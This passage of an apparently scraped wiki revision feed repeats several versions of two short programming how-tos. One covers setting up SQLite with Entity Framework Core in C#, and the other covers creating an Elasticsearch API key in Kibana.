&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
﻿using Microsoft.EntityFrameworkCore;   // EF Core namespace&lt;br /&gt;
&lt;br /&gt;
namespace SQLiteExampleTest&lt;br /&gt;
{&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=MyDdatabase.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;DBContext &amp;gt;(options =&amp;gt; options.UseSqlite())&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Using Appsettings.json === &lt;br /&gt;
Another method is to use &amp;lt;code&amp;gt;Appsettings.json&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot;&amp;gt; &lt;br /&gt;
  &amp;quot;ConnectionStrings&amp;quot;: {&lt;br /&gt;
    &amp;quot;DefaultConnection&amp;quot;: &amp;quot;Data Source=MyDatabase.db&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Then in your &amp;lt;code&amp;gt;Proram.cs&amp;lt;/code&amp;gt; add the following for DI. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
  var connectionString = builder.Configuration.GetConnectionString(&amp;quot;DefaultConnection&amp;quot;);&lt;br /&gt;
            builder.Services.AddDbContext&amp;lt;DatabaseContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString));&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2344</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2344"/>
		<updated>2026-03-03T13:33:53Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Use in C# */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
﻿using Microsoft.EntityFrameworkCore;   // EF Core namespace&lt;br /&gt;
&lt;br /&gt;
namespace SQLiteExampleTest&lt;br /&gt;
{&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=MyDdatabase.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;DBContext &amp;gt;(options =&amp;gt; options.UseSqlite())&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Using Appsettings.json === &lt;br /&gt;
Another method is to use &amp;lt;code&amp;gt;Appsettings.json&amp;lt;code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot;&amp;gt; &lt;br /&gt;
  &amp;quot;ConnectionStrings&amp;quot;: {&lt;br /&gt;
    &amp;quot;DefaultConnection&amp;quot;: &amp;quot;Data Source=MyDatabase.db&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Then in your &amp;lt;code&amp;gt;Proram.cs&amp;lt;code&amp;gt; add the following for DI. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
  var connectionString = builder.Configuration.GetConnectionString(&amp;quot;DefaultConnection&amp;quot;);&lt;br /&gt;
            builder.Services.AddDbContext&amp;lt;DatabaseContext&amp;gt;(options =&amp;gt; options.UseSqlite(connectionString));&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2343</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2343"/>
		<updated>2026-02-27T11:13:19Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
﻿using Microsoft.EntityFrameworkCore;   // EF Core namespace&lt;br /&gt;
&lt;br /&gt;
namespace SQLiteExampleTest&lt;br /&gt;
{&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
            this.Database.EnsureCreated(); // Create DB if missing&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        public DbSet&amp;lt;PersonModel&amp;gt; People { get; set; } // Table: People&lt;br /&gt;
&lt;br /&gt;
        protected override void OnConfiguring(DbContextOptionsBuilder optionsBuilder)&lt;br /&gt;
        {&lt;br /&gt;
            // Use SQLite + file path&lt;br /&gt;
            optionsBuilder.UseSqlite(@&amp;quot;Data Source=MyDdatabase.db&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example above I have created a Models class called &#039;&#039;PeopleMode&#039;&#039; where I have the properties Name, Age and Address. &lt;br /&gt;
The the protected method OnConfiguring we pass in the DBContextOptionsBuilder, and specify the name of the database we want to create. &lt;br /&gt;
&lt;br /&gt;
In the contructer we create the database if it is missing. This step is cruical.&lt;br /&gt;
&lt;br /&gt;
To DI the context if you use &#039;&#039;ASP.NET Core&#039;&#039; application, add the following to your &#039;&#039;Program.cs&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
builder.Services.AddDbContext&amp;lt;DBContext &amp;gt;(options =&amp;gt; options.UseSqlite())&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example usage == &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
var person1 = new PersonModel { Name = &amp;quot;Alice&amp;quot;, Age = 30 };&lt;br /&gt;
var person2 = new PersonModel { Name = &amp;quot;Bob&amp;quot;, Age = 25 };&lt;br /&gt;
context.People.Add(person1);&lt;br /&gt;
context.People.Add(person2);&lt;br /&gt;
context.SaveChanges();&lt;br /&gt;
Console.WriteLine(&amp;quot;Added two persons.&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2341</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2341"/>
		<updated>2026-02-26T13:05:17Z</updated>

		<summary type="html">&lt;p&gt;Administrator: Administrator moved page Programming/Post data to Elasticsearch using C to Programming/How To Post data to Elasticsearch&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;br /&gt;
&lt;br /&gt;
You must have one of the following cluster privileges:&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_own_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Open Kibana &lt;br /&gt;
# In the left sidebar, scroll down and click &#039;&#039;&#039;Stack Management&#039;&#039;&#039;&lt;br /&gt;
# Under &#039;&#039;&#039;Security&#039;&#039;&#039;, click &#039;&#039;&#039;API Keys&#039;&#039;&#039;&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# Fill in the following fields:&lt;br /&gt;
#* &#039;&#039;&#039;Name&#039;&#039;&#039; — give it a meaningful name&lt;br /&gt;
#* &#039;&#039;&#039;Expiration&#039;&#039;&#039; — optional, leave blank for no expiration&lt;br /&gt;
#* &#039;&#039;&#039;Privileges&#039;&#039;&#039; — set index/cluster permissions (e.g. index &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; with privilege &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; to post data)&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Copy the key immediately&#039;&#039;&#039; — it is only shown once&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Your Project == &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2339</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2339"/>
		<updated>2026-02-26T12:26:17Z</updated>

		<summary type="html">&lt;p&gt;Administrator: Administrator moved page Programming/Use Csharp To Communicate With Elasticsearch to Programming/Post data to Elasticsearch using C&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;br /&gt;
&lt;br /&gt;
You must have one of the following cluster privileges:&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_own_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Open Kibana &lt;br /&gt;
# In the left sidebar, scroll down and click &#039;&#039;&#039;Stack Management&#039;&#039;&#039;&lt;br /&gt;
# Under &#039;&#039;&#039;Security&#039;&#039;&#039;, click &#039;&#039;&#039;API Keys&#039;&#039;&#039;&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# Fill in the following fields:&lt;br /&gt;
#* &#039;&#039;&#039;Name&#039;&#039;&#039; — give it a meaningful name&lt;br /&gt;
#* &#039;&#039;&#039;Expiration&#039;&#039;&#039; — optional, leave blank for no expiration&lt;br /&gt;
#* &#039;&#039;&#039;Privileges&#039;&#039;&#039; — set index/cluster permissions (e.g. index &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; with privilege &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; to post data)&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Copy the key immediately&#039;&#039;&#039; — it is only shown once&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Your Project == &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2338</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2338"/>
		<updated>2026-02-26T12:26:02Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;br /&gt;
&lt;br /&gt;
You must have one of the following cluster privileges:&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_own_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Open Kibana &lt;br /&gt;
# In the left sidebar, scroll down and click &#039;&#039;&#039;Stack Management&#039;&#039;&#039;&lt;br /&gt;
# Under &#039;&#039;&#039;Security&#039;&#039;&#039;, click &#039;&#039;&#039;API Keys&#039;&#039;&#039;&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# Fill in the following fields:&lt;br /&gt;
#* &#039;&#039;&#039;Name&#039;&#039;&#039; — give it a meaningful name&lt;br /&gt;
#* &#039;&#039;&#039;Expiration&#039;&#039;&#039; — optional, leave blank for no expiration&lt;br /&gt;
#* &#039;&#039;&#039;Privileges&#039;&#039;&#039; — set index/cluster permissions (e.g. index &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; with privilege &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; to post data)&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Copy the key immediately&#039;&#039;&#039; — it is only shown once&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Your Project == &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:.NET]]&lt;br /&gt;
[[Category:CSharp]]&lt;br /&gt;
[[Category:Programming]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2337</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2337"/>
		<updated>2026-02-26T12:25:26Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;br /&gt;
&lt;br /&gt;
You must have one of the following cluster privileges:&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_own_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Open Kibana &lt;br /&gt;
# In the left sidebar, scroll down and click &#039;&#039;&#039;Stack Management&#039;&#039;&#039;&lt;br /&gt;
# Under &#039;&#039;&#039;Security&#039;&#039;&#039;, click &#039;&#039;&#039;API Keys&#039;&#039;&#039;&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# Fill in the following fields:&lt;br /&gt;
#* &#039;&#039;&#039;Name&#039;&#039;&#039; — give it a meaningful name&lt;br /&gt;
#* &#039;&#039;&#039;Expiration&#039;&#039;&#039; — optional, leave blank for no expiration&lt;br /&gt;
#* &#039;&#039;&#039;Privileges&#039;&#039;&#039; — set index/cluster permissions (e.g. index &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; with privilege &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; to post data)&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Copy the key immediately&#039;&#039;&#039; — it is only shown once&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Your Project == &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(category&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2336</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2336"/>
		<updated>2026-02-26T12:24:34Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Elasticsearch API Key */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;br /&gt;
&lt;br /&gt;
You must have one of the following cluster privileges:&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_own_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Open Kibana &lt;br /&gt;
# In the left sidebar, scroll down and click &#039;&#039;&#039;Stack Management&#039;&#039;&#039;&lt;br /&gt;
# Under &#039;&#039;&#039;Security&#039;&#039;&#039;, click &#039;&#039;&#039;API Keys&#039;&#039;&#039;&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# Fill in the following fields:&lt;br /&gt;
#* &#039;&#039;&#039;Name&#039;&#039;&#039; — give it a meaningful name&lt;br /&gt;
#* &#039;&#039;&#039;Expiration&#039;&#039;&#039; — optional, leave blank for no expiration&lt;br /&gt;
#* &#039;&#039;&#039;Privileges&#039;&#039;&#039; — set index/cluster permissions (e.g. index &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; with privilege &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; to post data)&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Copy the key immediately&#039;&#039;&#039; — it is only shown once&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2335</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2335"/>
		<updated>2026-02-26T12:24:09Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;br /&gt;
&lt;br /&gt;
You must have one of the following cluster privileges:&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;manage_own_api_key&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Open Kibana (usually &amp;lt;code&amp;gt;http://localhost:5601&amp;lt;/code&amp;gt;)&lt;br /&gt;
# In the left sidebar, scroll down and click &#039;&#039;&#039;Stack Management&#039;&#039;&#039;&lt;br /&gt;
# Under &#039;&#039;&#039;Security&#039;&#039;&#039;, click &#039;&#039;&#039;API Keys&#039;&#039;&#039;&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# Fill in the following fields:&lt;br /&gt;
#* &#039;&#039;&#039;Name&#039;&#039;&#039; — give it a meaningful name&lt;br /&gt;
#* &#039;&#039;&#039;Expiration&#039;&#039;&#039; — optional, leave blank for no expiration&lt;br /&gt;
#* &#039;&#039;&#039;Privileges&#039;&#039;&#039; — set index/cluster permissions (e.g. index &amp;lt;code&amp;gt;*&amp;lt;/code&amp;gt; with privilege &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; to post data)&lt;br /&gt;
# Click &#039;&#039;&#039;Create API key&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Copy the key immediately&#039;&#039;&#039; — it is only shown once&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2334</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2334"/>
		<updated>2026-02-26T11:27:19Z</updated>

		<summary type="html">&lt;p&gt;Administrator: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;br /&gt;
In order to POST or GET data from Elasticsearch, you need an API key.&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2333</id>
		<title>Programming/How To Post data to Elasticsearch</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/How_To_Post_data_to_Elasticsearch&amp;diff=2333"/>
		<updated>2026-02-26T11:26:00Z</updated>

		<summary type="html">&lt;p&gt;Administrator: Created page with &amp;quot;== Elasticsearch API Key ==&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Elasticsearch API Key ==&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2331</id>
		<title>Programming/Use SQLite in Csharp</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Programming/Use_SQLite_in_Csharp&amp;diff=2331"/>
		<updated>2026-02-26T11:21:23Z</updated>

		<summary type="html">&lt;p&gt;Administrator: Administrator moved page .NET/Use SQLite in Csharp to Programming/Use SQLite in Csharp&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== SQLite == &lt;br /&gt;
SQLite is a lightweight relational database that requires minimal system resources.&lt;br /&gt;
&lt;br /&gt;
== Use in C# == &lt;br /&gt;
To use SQLite in your C# project you first need to install &#039;&#039;Sqlite&#039;&#039; packages from EntityFrameworkCore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dotnet add package Microsoft.EntityFrameworkCore.Sqlite&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Create a &#039;&#039;DBContext&#039;&#039; class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
﻿using Microsoft.EntityFrameworkCore;   // EF Core namespace&lt;br /&gt;
&lt;br /&gt;
namespace SQLiteExampleTest&lt;br /&gt;
{&lt;br /&gt;
    public class DBContext : DbContext    // Custom EF Core context&lt;br /&gt;
    {&lt;br /&gt;
        public DBContext()&lt;br /&gt;
        {&lt;br /&gt;
